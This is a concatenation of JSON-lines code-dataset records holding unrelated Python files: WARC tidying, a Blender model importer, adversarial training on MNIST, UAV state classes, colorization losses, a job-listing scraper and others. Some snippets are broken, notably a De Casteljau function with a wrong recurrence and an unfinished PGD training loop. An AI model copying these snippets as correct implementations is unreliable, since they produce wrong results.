metrics['warcs_in_trackdb'] = 0\r\n metrics['warcs_not_in_trackdb'] = 0\r\n metrics['warcs_open'] = 0\r\n metrics['other_files'] = 0\r\n output_path = os.path.join(prefix, 'heritrix/output/')\r\n for root, dirnames, filenames in os.walk(output_path):\r\n for filename in filenames:\r\n if filename.endswith('warc.gz'):\r\n metrics['warcs'] += 1\r\n # TODO: Check if this specific file in on HDFS.\r\n base_path = root[len(prefix):]\r\n full_path = f\"{base_path}/{filename}\"\r\n logger.debug(f\"Checking TrackDB for path: {full_path}\")\r\n r = requests.get(trackdb_url, params={ 'q': f'file_path_s:\"{full_path}\"', 'wt': 'json'})\r\n count = r.json()['response']['numFound']\r\n if count == 0:\r\n metrics['warcs_not_in_trackdb'] += 1\r\n else:\r\n logger.info(f\"Path {full_path} is in TrackDB as well as being on disk.\")\r\n metrics['warcs_in_trackdb'] += 1\r\n\r\n elif filename.endswith('warc.gz.open'):\r\n metrics['warcs_open'] += 1\r\n\r\n else:\r\n metrics['other_files'] += 1\r\n\r\n # Update metrics\r\n logger.info(f\"warc_tidy final metrics: {metrics}\")\r\n send_metrics(metrics, 'gluster')\r\n # Finally, print retults as JSON if requested:\r\n if output_json:\r\n print(json.dumps(metrics))\r\n\r\ndef main():\r\n # Helper to tidy up WARC output folders:\r\n parser = argparse.ArgumentParser(prog='tidy-warcs', description='Tidy up the WARCs in the crawler output folder.')\r\n parser.add_argument('-v', '--verbose', action='count', default=0, help='Logging level; add more -v for more logging.')\r\n parser.add_argument('-S', '--scan-only', action='store_true', help='Only perform the scan, do not take any actions like moving files.')\r\n parser.add_argument('--prefix', \r\n help=\"The location of the root of the crawler storage, to be recursively searched for WARC files. [default=%(default)s]\", \r\n default=\"/mnt/gluster/fc\")\r\n\r\n args = parser.parse_args()\r\n\r\n # Set up verbose logging:\r\n if args.verbose == 1:\r\n logging.getLogger().setLevel(logging.INFO) \r\n elif args.verbose > 1:\r\n logging.getLogger().setLevel(logging.DEBUG) \r\n\r\n # Process args:\r\n if args.scan_only:\r\n do_move = False\r\n else:\r\n do_move = True\r\n\r\n # Run the tidy:\r\n warc_tidy_up(args.prefix, do_move=do_move)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"lib/store/tidy_warcs.py","file_name":"tidy_warcs.py","file_ext":"py","file_size_in_byte":5792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"44999209","text":"import numpy as np\ndef Casteljau(P_0, t_0):\n n = len(P_0)\n P_ij = [P_0]\n for j in range(1,n+1):\n P_temp = []\n for i in range(0, n-j+1):\n #print(n-j+1)\n P_temp.append(P_ij[j-1][i]*(1-t_0)+P_ij[j-1][i])\n print(P_temp,len(P_temp),n-j+1,'x')\n P_ij.append(P_temp)\n print(\"\")\n return P_ij[n-1][0]\nprint(Casteljau([[0,1],[0,0],[0,1],[1,1],[1,1],[1,1]], 0))\n","sub_path":"Casteljau.py","file_name":"Casteljau.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"460129209","text":"import os\n\nfrom . import read_owentity\nfrom . import import_owmdl\nfrom . import import_oweffect as oweffect\nfrom . import bpyhelper\nfrom mathutils import *\nimport math\nimport bpy, bpy_extras, mathutils\n\n\ndef get_mdl_settings(settings, modelname):\n return settings.mutate(bpyhelper.normpath(os.path.dirname(os.path.dirname(os.path.dirname(settings.filename))) + '/Models/' + modelname + '/' + modelname.replace('.00C', '') + '.owmdl'))\n\n\ndef read(settings, import_children=False, is_child=False):\n global sets\n\n root, file = os.path.split(settings.filename)\n\n data = read_owentity.read(settings.filename)\n if data is None: return None, None\n\n mdl_settings = get_mdl_settings(settings, data.model)\n\n root_object = bpy.data.objects.new('Entity ' + data.file, None)\n root_object.hide_viewport = root_object.hide_render = True\n root_object['owm.entity.guid'] = data.index\n root_object['owm.entity.model'] = data.model_index\n\n base_model = None\n if data.model != 'null':\n base_model = import_owmdl.read(mdl_settings, None, False, not is_child)\n base_model[0].parent = root_object\n\n if import_children:\n for child in data.children:\n child_settings = settings.mutate(bpyhelper.normpath(os.path.dirname(os.path.dirname(settings.filename)) + '/{}/{}.owentity'.format(child.file, child.file)))\n if not os.path.exists(child_settings.filename): continue\n child_object, child_data, child_model = read(child_settings, import_children, True)\n child_object.parent = root_object\n\n child_object['owm.entity.child.var'] = child.var_index\n child_object['owm.entity.child.hardpoint'] = child.attachment\n\n if child.attachment != 'null' and child.attachment in base_model[3][1]: # eww\n bpyhelper.select_obj(child_object, True)\n oweffect.attach(base_model[3][1][child.attachment], child_object)\n bpyhelper.scene_link(root_object)\n\n if base_model is not None:\n bpy.context.view_layer.objects.active = None\n bpyhelper.deselect_all()\n import_owmdl.select_all(base_model[0])\n if base_model[1] is not None:\n bpy.context.view_layer.objects.active = base_model[1]\n \n bpyhelper.deselect_all()\n return root_object, data, base_model\n","sub_path":"import_owentity.py","file_name":"import_owentity.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"389230667","text":"import torch\r\nimport torch.nn as nn\r\nimport torchvision\r\nimport torchvision.transforms as transforms\r\nimport numpy as np\r\nimport time\r\nimport os\r\nimport sys\r\nsys.path.append('..')\r\nimport Models\r\nimport foolbox\r\nimport attackModel\r\n\r\n# device configuration\r\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\r\nprint(device)\r\n\r\n############################################################################################################## select model\r\n# select classification network\r\nprint('==> Building model..')\r\n# net = Models.vgg.VGG('VGG16',num_classes=10) #CIFAR10\r\n# net = Models.resnet.ResNet18(num_classes=10) #CIFAR10\r\nnet = Models.MyModel.Model_1(num_classes=10) #MNIST\r\nnet = net.to(device)\r\n############################################################################################################## select dataset\r\ntransform_train_CIFAR = transforms.Compose([\r\n transforms.RandomCrop(32, padding=4),\r\n transforms.RandomHorizontalFlip(),\r\n transforms.ToTensor(),\r\n])\r\ntransform_test_CIFAR = transforms.Compose([transforms.ToTensor()])\r\ntransform_MNIST = transforms.Compose([transforms.ToTensor()])\r\n\r\ntrainset = torchvision.datasets.MNIST(root = '../ImageData',\r\n train = True,\r\n download = True,\r\n transform = transform_MNIST)\r\ntestset = torchvision.datasets.MNIST(root = '../ImageData',\r\n train = False,\r\n download = True,\r\n transform = transform_MNIST)\r\ntrainloader = torch.utils.data.DataLoader(trainset,\r\n batch_size = 1,\r\n shuffle = True)\r\ntestloader = torch.utils.data.DataLoader(testset,\r\n batch_size = 128,\r\n shuffle = False)\r\n# CIFAR10\r\n# classes = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\r\n\r\n# Hyper parameters\r\nstart_epoch = 0\r\nnum_epochs = 200\r\nlearning_rate = 0.001\r\nbest_acc = 0\r\neps = 0.1\r\nresumeTrain = False\r\nif resumeTrain:\r\n print('==> Resuming from checkpoint..')\r\n assert os.path.isdir('checkpoint'), 'Error: no checkpoint directory found!'\r\n checkpoint = torch.load('./checkpoint/LeNet_MNIST_adv.pth')\r\n net.load_state_dict(checkpoint['net'])\r\n best_acc = checkpoint['acc']\r\n start_epoch = checkpoint['epoch']\r\n pass\r\n\r\ncriterion = nn.CrossEntropyLoss()\r\noptimizer = torch.optim.Adam(net.parameters(), lr=learning_rate)\r\n\r\nnet.eval()\r\nfmodel = foolbox.models.PyTorchModel(net, bounds=(0,1),num_classes=10)\r\nattack = foolbox.attacks.ProjectedGradientDescent(fmodel)\r\n\r\n\r\ndef adversarialTrain(epoch):\r\n print('\\nEpoch: %d' % epoch)\r\n # set to train model\r\n net.train()\r\n train_loss = 0\r\n correct = 0\r\n total = 0\r\n for batch_idx, (inputs, labels) in enumerate(trainloader):\r\n inputs, labels = inputs.to(device), labels.to(device)\r\n optimizer.zero_grad()\r\n ################################################ calculate the perturbation\r\n x = inputs.clone()\r\n x = torch.autograd.Variable(x,requires_grad=True)\r\n outputs_natural = net(x)\r\n pertLoss = criterion(outputs_natural,labels)\r\n pertLoss.backward(retain_graph=True)\r\n pert = x.grad\r\n\r\n optimizer.zero_grad()\r\n outputs_adversary = net(inputs + eps*pert)\r\n loss = criterion(outputs_natural, labels)+1000*torch.abs(1*criterion(outputs_natural, labels) - 1*criterion(outputs_adversary, labels))\r\n loss.backward()\r\n optimizer.step()\r\n \r\n train_loss += loss.item()\r\n _,predicted_natural = outputs_natural.max(1)\r\n _,predicted_adversay = outputs_adversary.max(1)\r\n total += (labels.size(0)*2)\r\n correct += predicted_natural.eq(labels).sum().item()\r\n correct += predicted_adversay.eq(labels).sum().item()\r\n # print progress_bar\r\n print('batch',batch_idx,'/',len(trainloader),\r\n 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n % (train_loss/(batch_idx+1), 100.*correct/total, correct, total))\r\n\r\n\r\ndef adversarialTrain_secondDerivative(epoch):\r\n print('\\nEpoch: %d' % epoch)\r\n # set to train model\r\n net.train()\r\n train_loss = 0\r\n correct = 0\r\n total = 0\r\n for batch_idx, (inputs, labels) in enumerate(trainloader):\r\n inputs, labels = inputs.to(device), labels.to(device)\r\n optimizer.zero_grad()\r\n ################################################ calculate the perturbation\r\n x = inputs.clone()\r\n x = torch.autograd.Variable(x,requires_grad=True)\r\n outputs_natural = net(x)\r\n pertLoss = criterion(outputs_natural,labels)\r\n pert = torch.autograd.grad(pertLoss,x,create_graph=True)\r\n pert = pert[0]\r\n pertNorm = pert.norm()\r\n\r\n optimizer.zero_grad()\r\n outputs_adversary = net(inputs + eps*pert)\r\n loss = criterion(outputs_natural,labels) + 100 * pertNorm\r\n loss.backward()\r\n optimizer.step()\r\n \r\n train_loss += loss.item()\r\n _,predicted_natural = outputs_natural.max(1)\r\n _,predicted_adversay = outputs_adversary.max(1)\r\n total += (labels.size(0)*2)\r\n correct += predicted_natural.eq(labels).sum().item()\r\n correct += predicted_adversay.eq(labels).sum().item()\r\n # print progress_bar\r\n print('batch',batch_idx,'/',len(trainloader),\r\n 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n % (train_loss/(batch_idx+1), 100.*correct/total, correct, total))\r\n\r\ndef adversarialTrain_PGD(epoch):\r\n print('\\nEpoch: %d' % epoch)\r\n # set to train model\r\n train_loss = 0\r\n correct = 0\r\n total = 0\r\n for batch_idx, (inputs, labels) in enumerate(trainloader):\r\n inputs = inputs.squeeze(0)\r\n net.eval()\r\n adversarial = attack(inputs.numpy(),int(labels.numpy()))\r\n adversarial = torch.from_numpy(adversarial).to(device)\r\n net.train()\r\n print('this function is not finished')\r\n input()\r\n optimizer.zero_grad()\r\n outputs_natural = net(adversarial)\r\n loss = criterion(outputs_natural,labels)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n train_loss += loss.item()\r\n _,predicted = outputs_natural.max(1)\r\n total += labels.size(0)\r\n correct += predicted.eq(labels).sum().item()\r\n # print progress_bar\r\n print('batch',batch_idx,'/',len(trainloader),\r\n 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n % (train_loss/(batch_idx+1), 100.*correct/total, correct, total))\r\n pass\r\n pass\r\n\r\ndef test(epoch):\r\n global best_acc\r\n net.eval()\r\n test_loss = 0\r\n correct = 0\r\n total = 0\r\n with torch.no_grad():\r\n for batch_idx, (inputs, labels) in enumerate(testloader):\r\n inputs, labels = inputs.to(device), labels.to(device)\r\n outputs = net(inputs)\r\n loss = criterion(outputs, labels)\r\n test_loss += loss.item()\r\n _,predicted = outputs.max(1)\r\n total += labels.size(0)\r\n correct += predicted.eq(labels).sum().item()\r\n # print progress_bar\r\n print('batch',batch_idx,'/',len(testloader),\r\n 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n % (test_loss/(batch_idx+1), 100.*correct/total, correct, total))\r\n \r\n # Save checkpoint\r\n acc = 100.*correct/total\r\n if acc >= best_acc:\r\n print('Saving...')\r\n state = {\r\n 'net': net.state_dict(),\r\n 'acc':acc,\r\n 'epoch':epoch}\r\n if not os.path.isdir('checkpoint'):\r\n os.mkdir('checkpoint')\r\n torch.save(state, './checkpoint/ckpt_adv.pth')\r\n best_acc = acc\r\n\r\nif __name__ == \"__main__\":\r\n for epoch in range(start_epoch, start_epoch+num_epochs):\r\n adversarialTrain_PGD(epoch)\r\n test(epoch)","sub_path":"BoundSearchProject/AdvTrain1.py","file_name":"AdvTrain1.py","file_ext":"py","file_size_in_byte":8071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"237836396","text":"import sys, os\nsys.path.append(os.pardir)#親ディレクトリーのファイルのをインポートするための設定\nfrom dataset.mnist import load_mnist\nimport numpy as np\n\n#最初の呼び出しは数分待ちます\n(x_train,t_train), (x_test,t_test) = load_mnist(normalize=True, one_hot_label=True)\n\n#それぞれのデータの形状を出力\nprint(x_train.shape)\nprint(t_train.shape)\n\ntrain_size = x_train.shape[0]\nbatch_size = 10\nbatch_mask = np.random.choice(train_size, batch_size)\nx_batch = x_train[batch_mask]\nt_batch = t_train[batch_mask]\n\nprint(batch_mask)","sub_path":"ゼロから作るDeep_Learning/chapter4/4.2.3_random_choice.py","file_name":"4.2.3_random_choice.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"422813274","text":"from ..Utilities import Rotations\nfrom ..Utilities import MatrixMath\nimport math\n\ntestingAbs_tol = 1e-6\n\nclass vehicleState:\n def __init__(self, pn=0.0, pe=0.0, pd=0.0, u=0.0, v=0.0, w=0.0, yaw=0.0, pitch=0.0, roll=0.0, p=0.0, q=0.0, r=0.0, dcm=None):\n \"\"\"\n Defines the vehicle states to define the vehicle current position and orientation. Positions are in NED\n coordinates, velocity is ground speed in body coordinates, we carry both the Euler angles and the DCM together,\n and the rotation rates are in the body frame.\n\n :param pn: vehicle inertial north position [m]\n :param pe: vehicle inertial east position [m]\n :param pd: vehicle inertial down position [m] (Altitude is -pd)\n :param u: vehicle ground speed in body frame x [m/s]\n :param v: vehicle ground speed in body frame y [m/s]\n :param w: vehicle ground speed in body frame z [m/s]\n :param yaw: yaw angle [rad]\n :param pitch: pitch angle [rad]\n :param roll: roll angle [rad]\n :param p: body roll rate about body-x axis [rad/s]\n :param q: body pitch rate about body-y axis [rad/s]\n :param r: body yaw rate about body-z axis [rad/s]\n \"\"\"\n # positions\n self.pn = pn\n self.pe = pe\n self.pd = pd\n # velocities\n self.u = u\n self.v = v\n self.w = w\n # Euler Angles\n if dcm is None:\n self.yaw = yaw\n self.pitch = pitch\n self.roll = roll\n # Direction Cosine Matrix\n self.R = Rotations.euler2DCM(yaw, pitch, roll) # R transforms from inertial to body\n # use transpose to go the other way\n # Euler angles and R are redundant\n else:\n self.R = dcm\n self.yaw, self.pitch, self.roll = Rotations.dcm2Euler(self.R)\n\n # body rates\n self.p = p\n self.q = q\n self.r = r\n # Airspeed and Flight Angles (assume wind is zero)\n self.Va = math.hypot(self.u, self.v, self.w) # Airspeed\n self.alpha = math.atan2(self.w, self.u) # angle of attack\n if math.isclose(self.Va, 0.0): # Sideslip Angle, no airspeed\n self.beta = 0.0\n else:\n self.beta = math.asin(self.v/self.Va) # Sideslip Angle, normal definition\n pdotned = MatrixMath.multiply(MatrixMath.transpose(self.R),[[self.u],[self.v],[self.w]])\n self.chi = math.atan2(pdotned[1][0],pdotned[0][0])\n return\n\n def __repr__(self):\n return \"{1.__name__}(pn={0.pn}, pe={0.pe}, pd={0.pd}, u={0.u}, v={0.v}, w={0.w},\" \\\n \" yaw={0.yaw}, pitch={0.pitch}, roll={0.roll}, p={0.p}, q={0.q}, r={0.r}, dcm={0.R})\".format(self, type(self))\n\n def __str__(self):\n posvel = \"(pn={}, pe={}, pd={})\\n(u={}, v={}, w={})\\n\".format(self.pn, self.pe, self.pd, self.u, self.v, self.w)\n eulrate = \"(yaw={}, pitch={}, roll={})\\n(p={}, q={}, r={})\\n\".format(math.degrees(self.yaw), math.degrees(self.pitch),\n math.degrees(self.roll), math.degrees(self.p),\n math.degrees(self.q), math.degrees(self.r))\n Rdump = \"R = [\" + '\\t'.join(['{: 7.14f}'.format(r) for r in self.R[0]]) + \"]\\n\" + \\\n ' [' + '\\t'.join(['{: 7.14f}'.format(r) for r in self.R[1]]) + \"]\\n\" + \\\n ' [' + '\\t'.join(['{: 7.14f}'.format(r) for r in self.R[2]]) + \"]\\n\"\n alphaChi = \"(Va={}, alpha={}, beta={}, chi={})\".format(self.Va, math.degrees(self.alpha), math.degrees(self.beta),\n math.degrees(self.chi))\n return posvel + eulrate + Rdump + alphaChi\n\n def __eq__(self, other):\n if isinstance(other, type(self)):\n if not all([math.isclose(getattr(self, member), getattr(other, member),abs_tol=testingAbs_tol) for\n member in ['pn', 'pe', 'pd', 'u', 'v', 'w', 'p', 'q', 'r', 'yaw','pitch','roll']]):\n return False\n for myRow, otherRow in zip(self.R, other.R):\n if not all([math.isclose(x, y, abs_tol=testingAbs_tol) for x, y in zip(myRow, otherRow)]):\n return False\n return True\n else:\n return NotImplemented\n\n\nclass windState:\n def __init__(self, Wn=0.0, We=0.0, Wd=0.0, Wu=0.0, Wv=0.0, Ww=0.0):\n \"\"\"\n Defines the wind states which are composed of the overall constant wind (which is defined in the NED coordinate\n frame), and the gusts (which are defined in the body frame). Gusts are created from a random process. Wind components\n are all in [m/s]\n\n :param Wn: Constant wind velocity in inertial North direction [m/s]\n :param We: Constant wind velocity in inertial East direction [m/s]\n :param Wd: Constant wind velocity in inertial Down direction [m/s]\n :param Wu: Gust wind velocity in static wind x direction [m/s]\n :param Wv: Gust wind velocity in static wind y direction [m/s]\n :param Ww: Gust wind velocity in static wind z direction [m/s]\n \"\"\"\n self.Wn = Wn\n self.We = We\n self.Wd = Wd\n self.Wu = Wu # Stochastic wing gust in body x-axis\n self.Wv = Wv # Stochastic wing gust in body y-axis\n self.Ww = Ww # Stochastic wing gust in body z-axis\n return\n\n def __repr__(self):\n return \"{0.__name__}(Wn={1.Wn}, We={1.We}, Wd={1.Wd}, Wu={1.Wu}, Wv={1.Wv}, Ww={1.Ww})\".format(type(self), self)\n\n def __eq__(self, other):\n if isinstance(other, type(self)):\n if not all([math.isclose(getattr(self, member), getattr(other, member), abs_tol=testingAbs_tol) for member in ['Wn', 'We', 'Wd',\n 'Wu', 'Wv', 'Ww']]):\n return False\n else:\n return True\n else:\n return NotImplemented","sub_path":"UAV_Payload_Delivery/CodeBase/ece163/Containers/States.py","file_name":"States.py","file_ext":"py","file_size_in_byte":6208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"589339060","text":"N = int(input())\nA = [int(x) for x in input().split()]\nA.sort(reverse = True)\n\ns = []\ni = 0\nwhile i < N - 1:\n if len(s) == 2:\n break\n if A[i] == A[i + 1]:\n s.append(A[i])\n i += 2\n else:\n i += 1\n\nif len(s) == 2:\n print(s[0] * s[1])\nelse:\n print(0)","sub_path":"Python_codes/p03625/s945173959.py","file_name":"s945173959.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"287413490","text":"import torch\nimport torch.nn.functional as F\nimport os\nimport numpy as np\nfrom torch.autograd import grad\nfrom torch.nn import MSELoss\nfrom torch.nn import L1Loss\n\n\nclass Losses:\n\n def __init__(self, conf):\n self.conf = conf\n self.MSE = MSELoss()\n self.l1_loss = L1Loss()\n\n def mah_loss(self, gt, pred):\n \"\"\"\n load pca vals and variance from file\n :param gt: original color space\n :param pred: predicted color space\n :return: Mahalanobis distance as described in the paper\n \"\"\"\n np_pcvec = np.transpose(np.load(os.path.join(self.conf['PCA_DIR'], 'components.mat.npy')))\n np_pcvar = 1. / np.load(os.path.join(self.conf['PCA_DIR'], 'exp_variance.mat.npy'))\n pcvec = torch.from_numpy(np_pcvec[:, :self.conf['PCA_COMP_NUMBER']]).cuda()\n pcvar = torch.from_numpy(np_pcvar[:self.conf['PCA_COMP_NUMBER']]).cuda()\n\n proj_gt = torch.mm(gt.reshape(self.conf['BATCHSIZE'], -1), pcvec)\n proj_pred = torch.mm(pred.reshape(self.conf['BATCHSIZE'], -1), pcvec)\n pca_loss = torch.mean(\n torch.sum(\n (proj_gt - proj_pred)**2 / pcvar, dim=1\n )\n )\n\n # calculating residuals. by subtracting each PCA component to the original image\n gt_err = gt\n pred_err = pred\n for i in range(self.conf['PCA_COMP_NUMBER']):\n gt_err = gt_err.reshape(self.conf['BATCHSIZE'], -1) - torch.mm(torch.mm(gt.reshape(self.conf['BATCHSIZE'], -1), pcvec), torch.t(pcvec))\n pred_err = pred_err.reshape(self.conf['BATCHSIZE'], -1) - torch.mm(torch.mm(pred.reshape(self.conf['BATCHSIZE'], -1), pcvec), torch.t(pcvec))\n res_loss = torch.mean(\n torch.sum(\n (gt_err - pred_err) ** 2 / (pcvar[self.conf['PCA_COMP_NUMBER'] - 1] ** 2), dim=1\n )\n )\n return pca_loss + res_loss\n\n def grad_loss(self, gt, pred):\n # Horinzontal Sobel filter\n Sx = torch.Tensor([[-1, 0, 1],\n [-2, 0, 2],\n [-1, 0, 1]]).cuda()\n # reshape the filter and compute the conv\n Sx = Sx.view((1, 1, 3, 3)).repeat(1, 2, 1, 1)\n G_x = F.conv2d(gt, Sx, padding=1)\n\n # Vertical Sobel filter\n Sy = torch.Tensor([[1, 2, 1],\n [0, 0, 0],\n [-1, -2, -1]]).cuda()\n # reshape the filter and compute the conv\n Sy = Sy.view((1, 1, 3, 3)).repeat(1, 2, 1, 1)\n G_y = F.conv2d(pred, Sy, padding=1)\n G = torch.pow(G_x, 2) + torch.pow(G_y, 2)\n return torch.mean(G)\n\n def kl_loss(self, mu, logvar):\n \"\"\"\n compute the Kullback Leibler distance between the predicted distribution\n and the normal N(0, I)\n :param mu: predicted mean\n :param logvar: predicted log(variance)\n :return: kl_distance\n \"\"\"\n # kl_element = torch.add(torch.add(torch.add(mu.pow(2), logvar.exp()), -1), logvar.mul(-1))\n kl_element = 1+logvar-mu.pow(2)-logvar.exp()\n kl_loss = torch.mean(torch.sum(kl_element * -0.5, axis=1))\n # ste kl\n # kl = -0.5*torch.sum(1+logvar-mu.pow(2)-logvar.exp())\n return kl_loss\n\n def hist_loss(self, gt, pred, w):\n \"\"\"\n calculate the loss by computing the pixelwise distance between the predicted\n color image and the gran truth color image\n :param gt: original color image (AB space)\n :param pred: predicted color image\n :return: loss, weighted according to the probability of each color\n \"\"\"\n gt = gt.view(-1, self.conf['IMG_W'] * self.conf['IMG_H'] * 2)\n pred = pred.view(-1, self.conf['IMG_W'] * self.conf['IMG_H'] * 2)\n recon_element = torch.sqrt(torch.sum(torch.mul(torch.add(gt, pred.mul(-1)).pow(2), w), 1))\n return recon_element.mean() # mean on the batch\n\n def l2_loss(self, gt, pred):\n \"\"\"\n simple L2 loss between colored image and predicted colored image without any weight\n :param gt: original colored image (AB channels)\n :param pred: predicted colored image (AB channels)\n :return: L2 loss\n \"\"\"\n recon_element_l2 = torch.sqrt(torch.sum(torch.add(gt, pred.mul(-1)).pow(2), 1))\n return torch.sum(recon_element_l2).mul(1. / self.conf['BATCHSIZE'])\n\n def gradient_penalty(self, input, output):\n\n # generating a z from the net prediction\n # stddev = torch.sqrt(torch.exp(logvar))\n # eps = torch.randn(stddev.size()).normal_().cuda()\n # z_pred = torch.add(mu, torch.mul(eps, stddev)).requires_grad_()\n # z_pred = z_pred.reshape(-1, self.conf['HIDDEN_SIZE'], 1, 1).repeat(1, 1, 4, 4)\n\n # computing gradient penalty\n gradients = grad(outputs=output, inputs=input,\n grad_outputs=torch.ones_like(output).cuda(),\n retain_graph=True, create_graph=True, only_inputs=True)[0]\n gradient_penalty = ((gradients.norm(2, dim=(1, 2, 3)) - 1) ** 2).mean()\n return gradient_penalty\n\n def cvae_loss(self, pred, gt, lossweights, mu, logvar):\n \"\"\"\n this encoder loss is not forced to be normal gaussian\n :param pred: predicted color image\n :param gt: real color image\n :param lossweights: weights for colors\n :return:\n \"\"\"\n\n # gp_1 = self.gradient_penalty(gt, mu)\n # gp_2 = self.gradient_penalty(gt, logvar)\n # grad_penalty = (gp_1 + gp_2) / 2\n\n kl_loss = self.kl_loss(mu, logvar)\n # recon_loss = self.hist_loss(gt, pred, lossweights)\n l1 = self.l1_loss(pred, gt) * 100.\n # mse_loss = self.MSE(pred, gt)\n # recon_loss_l2 = self.l2_loss(gt, pred)\n return l1, kl_loss","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":5768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"216605252","text":"from bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport threading\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String\nfrom config import DB_URL\nfrom sqlalchemy.orm import sessionmaker\nimport sys, time\nfrom data_clean import data_clean\nfrom calculate import calculate_salary\n\nBase = declarative_base()\n\n\nclass data_table(Base):\n __tablename__ = 'Jobs'\n id = Column(Integer, primary_key=True)\n POSITION = Column(String(100))\n COMPANY = Column(String(100))\n ADDRESS = Column(String(100))\n SALARY = Column(String(100))\n DATE = Column(String(100))\n\n\ndef init_db():\n engine = create_engine(\n DB_URL,\n encoding=\"utf-8\",\n echo=True\n )\n Base.metadata.create_all(engine)\n print('Create table successfully!')\n\n\ninit_db()\n\nconnect = create_engine(DB_URL)\n\n\ndef creat_session():\n # 创建与数据库的会话session class ,这里返回给session的是class\n session_class = sessionmaker(bind=connect)\n # 生成session实例\n return session_class()\n\n\nheader = {\n \"Connection\": \"keep-alive\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",\n \"Accept\": \" text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip,deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.8\"\n};\n\navg_salary = 0\n\n\ndef get_info(url):\n global avg_salary\n\n html = urlopen(url).read().decode('GBK')\n\n soup = BeautifulSoup(html, \"html.parser\")\n # 获取职位信息\n titles = soup.select(\"p[class='t1'] a\")\n # 获取工作地点\n di = soup.select(\"span[class='t3']\")\n # 获取公司\n company = soup.select(\"span[class='t2']\")\n # 获取薪水信息\n salaries = soup.select(\"span[class='t4']\") # CSS 选择器\n # 获取发布时间\n time = soup.select(\"span[class='t5']\")\n\n for i in range(len(titles)):\n # with open(\"1.txt\",\"a\") as f:\n\n # f.write(titles[i].get('title'))\n # f.write(salaries[i+1].get_text())\n # f.write(\"\\n\")\n # print(\"{:30}{}{}\".format(titles[i].get('title'),salaries[i+1].get_text(),di[i+1].get_text()),company[i+1].get_text())\n if (\"Python\" or \"python\") in titles[i].get('title') and \"开发工程师\" in titles[i].get('title'):\n # 数据清洗完成单位转换\n\n m = data_clean(salaries[i + 1].get_text())\n # 筛选北京地区Python开发工程师\n if \"北京\" in di[i + 1].get_text():\n avg_salary = calculate_salary(m)\n\n session = creat_session()\n try:\n\n obj = data_table(POSITION=titles[i].get('title'), COMPANY=company[i + 1].get_text(),\n ADDRESS=di[i + 1].get_text(), SALARY=m, DATE=time[i + 1].get_text()) # 生成数据对象\n session.add(obj) # 把要创建的数据对象添加到session里\n session.commit()\n except:\n continue\n # orm_insert(titles[i].get('title'),company[i+1].get_text(),di[i+1].get_text(),salaries[i+1].get_text(),time[i+1].get_text())\n\n\nCount = 0\n\n\ndef option1():\n global Count\n for i in range(1, 200):\n url = url_ + str(i) + \".html\"\n get_info(url)\n Count = Count + 1\n\n\ndef option2():\n global Count\n for i in range(201, 400):\n url = url_ + str(i) + \".html\"\n get_info(url)\n # 实现爬取进度显示\n Count = Count + 1\n str1 = '>' * ((Count // 4) // 2) + ' ' * ((100 - (Count // 4)) // 2)\n sys.stdout.write('\\r' + str1 + '[%s%%]' % ((Count / 4) + 1))\n sys.stdout.flush()\n time.sleep(0.1)\n\n\nurl_ = \"https://search.51job.com/list/000000,000000,0000,00,9,99,Python,2,\"\n\n\ndef multi_thread():\n t1 = threading.Thread(target=option1)\n t2 = threading.Thread(target=option2)\n t1.start()\n t2.start()\n print(\"正在爬取......\")\n while True:\n\n if Count == 398:\n print('')\n print(\"爬取完成......\")\n print('')\n print(\"*\" * 50)\n print('')\n print(\" 北京Python开发工程师的平均薪资为%.2f万/月\" % avg_salary)\n print('')\n print(\"*\" * 50)\n break\n\n\nmulti_thread()\n","sub_path":"Homework/homework11/craw_3.py","file_name":"craw_3.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"42943441","text":"from Constants import constant\nfrom WatchYourBack.Board import Board\nfrom Agents.NegamaxTranspositionTable import Negamax\nfrom ActionBook.ActionBook import ActionBook\n\n'''\nTHIS IS THE FINAL SUBMISSION: \n\nTHIS PLAYER IMPLEMENTS THE FOLLOWING TO INFORM ITSELF ON WHAT MOVE TO MAKE NEXT: \n - NEGAMAX WITH TRANSPOSITION TABLE AS ITS MAIN SEARCH STRATEGY\n - GREEDY MOVE ORDERING USING A LIGHT EVALUATION FUNCTION AND SELECTION OF THE BEST MOVES TO COMPLETE THE \n SEARCH ON \n - MOVE ORDERING USING THE TRANSPOSITION TABLE IN MINIMAX -- WE TRY THE BEST MOVE FOUND SO FAR AT EARLIER \n DEPTH ITERATIONS FIRST, BECAUSE CHANCES 